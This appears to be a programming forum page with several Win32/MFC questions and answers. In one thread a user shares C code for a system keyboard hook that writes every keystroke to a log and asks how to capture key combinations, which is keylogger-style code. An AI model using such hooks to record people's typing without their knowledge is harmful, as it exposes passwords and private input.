|
Quick Question..
Not sure what's happening, but for some classes, when I right click, the "Add" menu item is missing completely, leaving me without the functionality to Add a Variable or Function. I also notice that when I click Properties, all the fields for this class are read-only.
I notice that the classes than I CAN "Add" to, have a ">" to the left of them in the display, and some of the fields are read/write.
I'm sure its something simple I'm overlooking, its driving me crazy!
Using VS.2010.
Mike
|
|
|
|
|
HI all,
I'm trying to intercept keys pressed from a keyboard..
I'm doin it in C(win32), using VS2008 IDE
I'm not able get the window handle of the key pressed.. i want to build a hierarchy from this handle by next calling the GetParent() till the application window..
Not able to find the first handle.. stuck up here since a week..
Also, i 'm not able to intercept combination keys like, CTRL+A, ALT+F etc., & since 'm using keydown & so not able to restrict series of CTRL, ALT, CAPS_LOCK keys, wherin i need just a single entry for such keys..
'm posting the code below..
__declspec(dllexport) LRESULT CALLBACK KeyBoardProc(int Code, WPARAM wParam, LPARAM lParam)
{
if ( Code < 0 )
return CallNextHookEx(hKeyHook, Code, wParam, lParam);
if( Code == HC_ACTION && !(lParam & (1 << 31)) )
ProcessKey(wParam, lParam);
return CallNextHookEx(hKeyHook, Code, wParam, lParam);
}
DWORD ProcessKey(WPARAM wParam, LPARAM lParam)
{
BYTE KeyBoardState[256];
WCHAR TempBuffer[50];
int Index, RepeatCount = 1;
hActiveWnd = NULL;
hActiveWnd = GetActiveWindow();
switch(wParam)
{
case VK_RETURN:
WriteToLog(L"\n");
break;
case VK_TAB:
WriteToLog(L"[TAB]");
break;
case VK_BACK:
WriteToLog(L"[BS]");
break;
case VK_CONTROL:
if(lParam & 0x01000000)
WriteToLog(L"[RCTRL]");
else
WriteToLog(L"[LCTRL]");
break;
case VK_SHIFT:
if(lParam & 0x040000)
WriteToLog(L"[RSHIFT]");
else
WriteToLog(L"[LSHIFT]");
break;
case VK_MENU:
if(lParam & 0x01000000)
WriteToLog(L"[RALT]");
else
WriteToLog(L"[LALT]");
break;
case VK_LEFT:
WriteToLog(L"[LARROW]");
break;
case VK_RIGHT:
WriteToLog(L"[RARROW]");
break;
case VK_UP:
WriteToLog(L"[UPARROW]");
break;
case VK_DOWN:
WriteToLog(L"[DOWNARROW]");
break;
case VK_ESCAPE:
WriteToLog(L"[ECS]");
break;
default:
GetKeyboardState(KeyBoardState);
UINT ScanCode = lParam & 0X00FF0000;
memset(TempBuffer, 0, sizeof(TempBuffer));
ToAscii(wParam, ScanCode, KeyBoardState, (LPWORD)TempBuffer, 0);
WriteToLog(TempBuffer);
break;
}
return TRUE;
}
Any suggestions would be of great help..
look fwd to ur help....
thank yu 
|
|
|
|
|
My guess is that your hook gets called before the program actuyally routes the message towards any window. I don't know by heart how keyboard events are routed but my guess would be that they are targeted at the window owning the input focus. So try experimenting with the window returned by GetFocus[^], or try a different hook, like WH_GETMESSAGE, at this point i believe you can check weather the message is WM_KEYDOWN, WM_KEYUP or somesuch and hande it as you like.
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Sometimes you just have to hate coding to do it well. <
|
|
|
|
|
ok.. thanks a lot.. 'll try tat n get back to u..
|
|
|
|
|
You don't need to export the hook function. Just say'n.
Steve
|
|
|
|
|
I have a simple toolbar with two icons on it Icon_1 and Icon_2, I want to be able to replace Icon_2 by another Icon_3 when pushed. How can I do this? Do I have to make a new toolbar with new icons and kinda reload the new toolbar?
|
|
|
|
|
Try this function[^]
class AnyBody
{
protected:
AnyBody();
virtual void BeHappy() = 0;
public:
virtual ~AnyBody();
friend class Air;
friend class Water;
friend class Fire;
friend class Earth;
};
|
|
|
|
|
I tried that with no change at all in my toolbar.
Thanks
|
|
|
|
|
Did you call RedrawWindow() for the bar after its modification ?
class AnyBody
{
protected:
AnyBody();
virtual void BeHappy() = 0;
public:
virtual ~AnyBody();
friend class Air;
friend class Water;
friend class Fire;
friend class Earth;
};
|
|
|
|
|
I did, but not sure if its done right.
I have something like this:
m_WndToolbar.AddBitmap(1,IDB_Bitmap1);
RedrawWindow();
Not sure how or if I have to specify the rect structure for the RedrawWindow() function?
|
|
|
|
|
Try it :
m_WndToolbar.SetButtonInfo(1 ,
IDC_COMMAND2 ,
TBBS_BUTTON,
0 );
m_WndToolbar.RedrawWindow();
class AnyBody
{
protected:
AnyBody();
virtual void BeHappy() = 0;
public:
virtual ~AnyBody();
friend class Air;
friend class Water;
friend class Fire;
friend class Earth;
};
|
|
|
|
|
It didn't work for me. Does it work for you?
|
|
|
|
|
I'm using CMFCToolBar now...
...but you could debug the SetButtonInfo(..) by F11
to verify that the old button will be deleted and the new inserted
(or set a breakpoint at
bartool.cpp :<br />
void CToolBar::_SetButton(int nIndex, TBBUTTON* pButton) )
class AnyBody
{
protected:
AnyBody();
virtual void BeHappy() = 0;
public:
virtual ~AnyBody();
friend class Air;
friend class Water;
friend class Fire;
friend class Earth;
};
|
|
|
|
|
Hi,
if we use cstring like,
CString errorDescription;
errorDescription.Format(L"Connected to %s\\%ld", m_hostAddress(/*cstring type*/),Literals::CONFIGURATION_SERVER_PORT(/*int type*/));
here,instead of cstring if i use std::string errorDescription,
then how the above format can be done?
thanx.
|
|
|
|
|
|
You can use ostringstreams as described in the previous reply, or you could use Boost.Format[^], which gives you an interface more like CString::Format .
Java, Basic, who cares - it's all a bunch of tree-hugging hippy cr*p
CodeProject MVP for 2010 - who'd'a thunk it!
|
|
|
|
|
Hello,
I want to find the handle of same windows currently opened.
E.g: I have started 2 notepads and I want to get handle of both notepads using some windows APIs.
I tried FindWindow(). But its only return the first notepad window handle.
Any other APIs available for getting the handle of second Window?
Please help.
-Cvaji
|
|
|
|
|
Maybe try EnumWindows[^].
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Sometimes you just have to hate coding to do it well. <
|
|
|
|
|
Code-o-mat wrote: Maybe try EnumWindows[^].
But this will enumerate all the top level windows right?
I have the window name/window class of my required window.
I need to get only that specific windows.
-Cvaji
|
|
|
|
|
You can implement the filtering in the callback function, you can get the window's "name" by calling GetWindowText[^] and the class name by calling GetClassName[^], althorough i am not sure that GetClassName works on windows in different processes...
If you know the Process ID's of the notepad apps you started you can also use GetWindowthreadProcessId[^] to recognize them.
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Sometimes you just have to hate coding to do it well. <
|
|
|
|
|
If there is no other simple way, i have to go with this option.
Thank you for the reply.
|
|
|
|
|
You could also try using FindWindow as you did, and once you find a window, do whatever you want with it and then add a space at the end of its name (title) and then use FindWindow again until it does not find any such windows anymore, you might want to remove the extra added space when you are done, of course this would be quite an unelegant and ugly solution...
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Sometimes you just have to hate coding to do it well. <
|
|
|
|
|
You mean the below code will return the handle for second notepad ?
hWnd = ::FindWindow( 0, L"Untitled - Notepad " );
-Cvaji
|
|
|
|
|
No, i mean something like this:
HWND hWnd;
while ((hWnd = ::FindWindow(0, L"Untitled - Notepad")) != NULL)
{
::SetWindowText(hWnd, L"Untitled - Notepad ");
}
Since you add a space at the end of the window text, the next time you call FindWindow, it will not find this window you already used (since it's title does not mach your search string anymore) and go on looking for the next one, if you find that next one, you add a space to that one too and so on untill you get no more windows...
> The problem with computers is that they do what you tell them to do and not what you want them to do. <
> Sometimes you just have to hate coding to do it well. <
|
|
|
|
|
Wow.
Hats off you man
even though its an ugly method, i congratulate your brilliancy
But I got another method.
HWND hWnd = ::FindWindow( L"Notepad", 0 );
hWnd = ::FindWindowEx( 0, hWnd, L"Notepad", 0 );
-Cvaji
|
|
|
|